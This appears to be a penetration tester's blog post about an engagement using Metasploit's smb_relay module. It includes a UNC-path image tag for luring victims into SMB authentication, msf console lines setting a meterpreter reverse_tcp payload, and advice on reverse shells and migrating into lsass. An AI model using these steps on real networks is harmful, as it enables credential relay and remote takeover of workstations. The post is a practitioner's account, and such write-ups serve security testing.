g0ne has a horseshoe, I never get as lucky as he did/does on his pentests. You can read about his latest one
here.
I on the other hand always seem to have to work for it. In addition to my little snapshotviewer code (
previous post) I threw in a smb_relay attack via metasploit. This was to see if I could get lucky and catch some users doing the wrong thing like browsing the net or clicking on links in emails with admin credentials and to leverage our foothold we had gained with weak physical security (I now had a box on the local network).
If you unfamiliar with the exploit itself, here's the info from the module:
Description:
This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia.
References:
http://en.wikipedia.org/wiki/SMBRelay
http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx
http://www.xfocus.net/articles/200305/smbrelay.html
Simple enough to execute, start msf as root (needed to bind to 139), select payload, embed smb code into email or website, send email, cross fingers and wait.
The last post asked for code so here you go:
img src="\\networkIP\share\1.gif"
yep, that's some l33t shit right there...
For those of you that are more visual learners, I did a video last year for chicagocon as a demo
here --smb_relay with reverse shell.
Issues, and there were some.
1. Most users wont have the permissions to actually create a service and run your payload, that's OK thats what the ActiveX attack was for.
2. Its messy, it leaves registry keys and executables on the box that "someone" will have to clean up.
3. My initial payload was a download and execute, which was supposed to grab the same .exe I was serving up for the ActiveX bug, for whatever reason that wasn't working (don't know why yet) so after a few failed attempts I switched to meterpreter payload. That led to issue 4.
4. With the way the exploit works it creates and calls a service, evidently there are issues with this because the service wont correctly respond to Windows (like status, start, stop) so Windows kills it after a period of time. Around 60 seconds for me. That's a bummer. More info
hereThe Fix: Thankfully there is a fix, but I found out about it after the fact. Once you select meterpreter as your payload you get a AutoRunScript option.
msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(smb_relay) > show advanced
Module advanced options:
Payload advanced options (windows/meterpreter/reverse_tcp):
Name : AutoLoadStdapi
Current Setting: true
Description : Automatically load the Stdapi extension
Name : AutoRunScript
Current Setting:
Description : Script to autorun on meterpreter session creation
migrate.rb, located in your meterpreter scripts directory will migrate to lsass by default, this should solve the shell dying on you problem. I haven't tested it though, but someone I trust told me this should solve the problem.
The patch in the above Framework-Hackers post may work as well, I haven't tried that either.
5. After meterpreter not working I moved to the 'ol standby of reverse shells which were stable and stuck around until I did what I needed to do and killed the session.
I didn't get as lucky as g0ne. Turned out that several admins had added their domain user account to the local admin group on their workstation, so while it allowed the exploit to succeed I didn't get any shells with (domain) elevated privs. :-(
Its still a useful (internal) attack vector, add the smb_relay to now being able to most likely point any subdomain to an IP of your choosing with the new
baliwicked metasploit auxiliary modules and you can probably pull off a pretty good hack if you have local network access. Gotta love exploitable "features."
